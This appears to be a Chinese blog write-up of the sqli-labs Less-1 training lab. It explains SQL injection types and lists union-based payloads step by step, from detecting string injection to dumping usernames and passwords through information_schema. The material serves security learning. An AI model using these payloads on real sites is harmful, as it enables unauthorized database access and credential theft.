相关wp:
SQL注入漏洞详解_boolean-based blind_yyysec的博客-CSDN博客
【Less-1】单引号报错字符型注入_less 1----基于单引号的字符型注入_多学点技术的博客-CSDN博客s
如何判断是字符型注入还是数字型注入_字符型注入和数字型注入_原味瓜子、的博客-CSDN博客
- SQL 注入需要满足以下两个条件:
- 参数可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。
- sql注入的两种漏洞分类
- 数字型
- 字符型
- 手工注入思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 order by x
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
- 注释符:
#
(单行注释 注意与 url 中的#区分)--空格
(单行注释 注意为短线短线空格)/*()*/
(多行注释 至少存在俩处的注入 /**/常用来作为空格)
- 如何判断是数字型注入还是字符型注入
这里我们借用原味瓜子、的理解
或者用 www.xxx.com/ccc.php?id=1' and '1'='2'--+ 来判断
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
sqli-labs 第一关
1.判断注入类型
?id=1 and 1=2 --+
页面正常,说明不是数字型注入
?id=1' and '1'='1' --+
?id=1' and '1'='2' --+ 或者 ?id=1' and '1'='2
页面错误,说明是字符型注入
2.报错猜解准备(报出数据显示点以及列名字段数)
?id=1' order by 3 --+
页面正常
?id=1' order by 4 --+
页面错误,说明列名字段数为3
?id=-1' union select 1,2,3 --+
爆出显示位,就是看表格里哪一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的
3.信息收集
数据库版本 version() 5.7.26
数据库名字 database() security
数据库用户 user() root@localhost
操作系统@@version_compile_os win64
?id=-1' union select 1,version(),database() --+
?id=-1' union select 1,user(),@@version_compile_os --+
4.查询指定数据库下的表名信息
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.查询指定表下的列名信息
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
6.查询指定数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+